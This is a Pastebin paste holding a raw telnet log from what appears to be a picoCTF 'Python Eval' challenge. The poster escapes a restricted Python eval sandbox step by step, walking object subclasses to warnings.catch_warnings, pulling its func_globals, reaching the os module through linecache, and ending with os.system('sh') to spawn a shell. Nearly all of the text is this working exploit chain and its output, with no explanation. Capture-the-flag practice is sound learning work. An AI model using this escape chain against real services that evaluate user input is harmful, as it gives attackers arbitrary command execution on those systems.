Advertisement
Marionumber1

Python Eval 5

Feb 21st, 2015
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.85 KB | None | 0 0
  1. $ telnet python.picoctf.com 6365
  2. Trying 54.225.160.250...
  3. Connected to python.picoctf.com.
  4. Escape character is '^]'.
  5. Get a shell, if you can...
  6. __builtins__[0]=[x for x in ().__class__.__bases__[0].__subclasses() if x.__name__ == "catch_warnings"]
  7. Exception: unexpected EOF while parsing (<string>, line 1)
  8. __builtins__[0]=().__class__.__bases__[0].__subclasses()
  9. Exception: type object 'object' has no attribute '__subcla'
  10. __builtins__[0]=().__class__.__bases__[0]
  11. Return Value: <type 'object'>
  12. __builtins__[0]=__builtins__[0].__subclasses__()
  13. Return Value: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'pwd.struct_passwd'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
  14. __builtins__[0]=[x for x in __builtins__[0] if x.__name__=="catch_warnings"]
  15. Exception: unexpected EOF while parsing (<string>, line 1)
  16. __builtins__[0]
  17. Return Value: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'pwd.struct_passwd'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
  18. __builtins__[1]="catch_warnings"
  19. Return Value: catch_warnings
  20. __builtins__[0]=[x for x in __builtins__[0] if x.__name__==__builtins__[1]]
  21. Exception: unexpected EOF while parsing (<string>, line 1)
  22. __builtins__[0]
  23. Return Value: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'pwd.struct_passwd'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
  24. __builtins__[1]=__builtins__[0][54]
  25. Return Value: <class '_weakrefset._IterationGuard'>
  26. __builtins__[1]=__builtins__[0][53]
  27. Exception: invalid syntax (<string>, line 1)
  28. __builtins__[1]=__builtins__[0][54]
  29. Return Value: <class '_weakrefset._IterationGuard'>
  30. __builtins__[1]=__builtins__[0][55]
  31. Return Value: <class '_weakrefset.WeakSet'>
  32. __builtins__[1]=__builtins__[0][56]
  33. Return Value: <class '_abcoll.Hashable'>
  34. __builtins__[1]=__builtins__[0][57]
  35. Return Value: <type 'classmethod'>
  36. __builtins__[1]=__builtins__[0][58]
  37. Return Value: <class '_abcoll.Iterable'>
  38. __builtins__[1]=__builtins__[0][59]
  39. Return Value: <class '_abcoll.Sized'>
  40. __builtins__[1]=__builtins__[0][60]
  41. Return Value: <class '_abcoll.Container'>
  42. __builtins__[1]=__builtins__[0][70]
  43. Return Value: <class 'codecs.IncrementalDecoder'>
  44. __builtins__[1]=__builtins__[0][65]
  45. Return Value: <type '_sre.SRE_Match'>
  46. __builtins__[1]=__builtins__[0][61]
  47. Return Value: <class '_abcoll.Callable'>
  48. __builtins__[1]=__builtins__[0][62]
  49. Return Value: <class 'site._Printer'>
  50. __builtins__[1]=__builtins__[0][63]
  51. Return Value: <class 'site._Helper'>
  52. __builtins__[1]=__builtins__[0][64]
  53. Return Value: <type '_sre.SRE_Pattern'>
  54. __builtins__[1]=__builtins__[0][66]
  55. Return Value: <type '_sre.SRE_Scanner'>
  56. __builtins__[1]=__builtins__[0][67]
  57. Return Value: <type 'pwd.struct_passwd'>
  58. __builtins__[1]=__builtins__[0][68]
  59. Return Value: <class 'site.Quitter'>
  60. __builtins__[1]=__builtins__[0][69]
  61. Return Value: <class 'codecs.IncrementalEncoder'>
  62. __builtins__[1]=__builtins__[0][71]
  63. Exception: list index out of range
  64. __builtins__[1]=__builtins__[0][72]
  65. Exception: list index out of range
  66. __builtins__[1]=__builtins__[0][54]
  67. Return Value: <class '_weakrefset._IterationGuard'>
  68. __builtins__[1]=__builtins__[0][53]
  69. Return Value: <class 'warnings.catch_warnings'>
  70. __builtins__[2]=__builtins__[1].__init__
  71. Return Value: <unbound method catch_warnings.__init__>
  72. __builtins__[3]=__builtins__[2].func_globals
  73. Return Value: {'filterwarnings': <function filterwarnings at 0x7f7767694a28>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x7f77676949b0>, 'filters': [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 0x7f7767694c80>, 'showwarning': <function _show_warning at 0x7f77676949b0>, '__all__': ['warn', 'showwarning', 'formatwarning', 'filterwarnings', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 'simplefilter': <function simplefilter at 0x7f7767694b18>, 'default_action': 'default', '_getcategory': <function _getcategory at 0x7f7767694d70>, '__builtins__': {0: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'pwd.struct_passwd'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>], 1: <class 'warnings.catch_warnings'>, 2: <unbound method catch_warnings.__init__>, 3: {...}}, 'catch_warnings': <class 'warnings.catch_warnings'>, '__file__': '/usr/lib/python2.7/warnings.pyc', 'warnpy3k': <function warnpy3k at 0x7f7767694aa0>, 'sys': <module 'sys' (built-in)>, '__name__': 'warnings', 'warn_explicit': <built-in function warn_explicit>, 'types': <module 'types' from '/usr/lib/python2.7/types.pyc'>, 'warn': <built-in function warn>, '_processoptions': <function _processoptions at 0x7f7767694c08>, 'defaultaction': 'default', '__doc__': 'Python part of the warnings subsystem.', 'linecache': <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>, '_OptionError': <class 'warnings._OptionError'>, 'resetwarnings': <function resetwarnings at 0x7f7767694b90>, 'formatwarning': <function formatwarning at 0x7f7767694938>, '_getaction': <function _getaction at 0x7f7767694cf8>}
  74. __builtins__[2]
  75. Return Value: <unbound method catch_warnings.__init__>
  76. __builtins__[3]
  77. Return Value: {'filterwarnings': <function filterwarnings at 0x7f7767694a28>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x7f77676949b0>, 'filters': [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 0x7f7767694c80>, 'showwarning': <function _show_warning at 0x7f77676949b0>, '__all__': ['warn', 'showwarning', 'formatwarning', 'filterwarnings', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 'simplefilter': <function simplefilter at 0x7f7767694b18>, 'default_action': 'default', '_getcategory': <function _getcategory at 0x7f7767694d70>, '__builtins__': {0: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'pwd.struct_passwd'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>], 1: <class 'warnings.catch_warnings'>, 2: <unbound method catch_warnings.__init__>, 3: {...}}, 'catch_warnings': <class 'warnings.catch_warnings'>, '__file__': '/usr/lib/python2.7/warnings.pyc', 'warnpy3k': <function warnpy3k at 0x7f7767694aa0>, 'sys': <module 'sys' (built-in)>, '__name__': 'warnings', 'warn_explicit': <built-in function warn_explicit>, 'types': <module 'types' from '/usr/lib/python2.7/types.pyc'>, 'warn': <built-in function warn>, '_processoptions': <function _processoptions at 0x7f7767694c08>, 'defaultaction': 'default', '__doc__': 'Python part of the warnings subsystem.', 'linecache': <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>, '_OptionError': <class 'warnings._OptionError'>, 'resetwarnings': <function resetwarnings at 0x7f7767694b90>, 'formatwarning': <function formatwarning at 0x7f7767694938>, '_getaction': <function _getaction at 0x7f7767694cf8>}
  78. __builtins__[4]=__builtins__[3]["linecache"]
  79. Return Value: <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>
  80. __builtins__[5]=__builtins__[4].os
  81. Return Value: <module 'os' from '/usr/lib/python2.7/os.pyc'>
  82. __builtins__[5].system("sh")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement